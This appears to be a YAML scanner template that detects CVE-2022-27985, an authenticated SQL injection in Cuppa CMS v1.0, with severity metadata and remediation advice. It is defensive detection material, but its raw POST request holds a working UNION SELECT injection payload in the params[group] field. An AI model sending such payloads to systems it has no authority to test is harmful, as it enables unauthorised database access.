67 lines
2.0 KiB
YAML
67 lines
2.0 KiB
YAML
id: CVE-2022-27985
|
|
|
|
info:
|
|
name: Cuppa CMS v1.0 - SQL injection
|
|
author: theamanrawat
|
|
severity: critical
|
|
description: |
|
|
CuppaCMS v1.0 was discovered to contain a SQL injection vulnerability via /administrator/alerts/alertLightbox.php.
|
|
remediation: |
|
|
Upgrade to the latest version of Cuppa CMS or apply the provided patch to fix the SQL injection vulnerability.
|
|
reference:
|
|
- https://github.com/CuppaCMS/CuppaCMS
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-27985
|
|
- http://cuppa.com
|
|
- http://www.cuppacms.com/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2022-27985
|
|
cwe-id: CWE-89
|
|
epss-score: 0.01457
|
|
epss-percentile: 0.8529
|
|
cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: cuppacms
|
|
product: cuppacms
|
|
tags: cve,cve2022,sqli,cuppa,authenticated
|
|
variables:
|
|
num: '999999999'
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
user={{username}}&password={{password}}&language=en&task=login
|
|
- |
|
|
POST /alerts/alertLightbox.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
|
|
url=components%2Fpermissions%2Flist_permissions_lightbox.php&title=Permissions%3A+profile¶ms%5Bgroup%5D=3'+UNION+ALL+SELECT+md5('{{num}}'),null--+-¶ms%5Breference%5D=41&uniqueClass=new_content_3983163
|
|
|
|
cookie-reuse: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '{{md5(num)}}'
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a00473045022050a171f60618f66bcec3c78c8c3c46758472652cdc4c7ef15c229c006d7ddf970221008771cf7e35ad9fe71197c8d0fcaaad0f7a2f58967c9797a8017fc51c6a999615:922c64590222798bb761d5b6d8e72950
|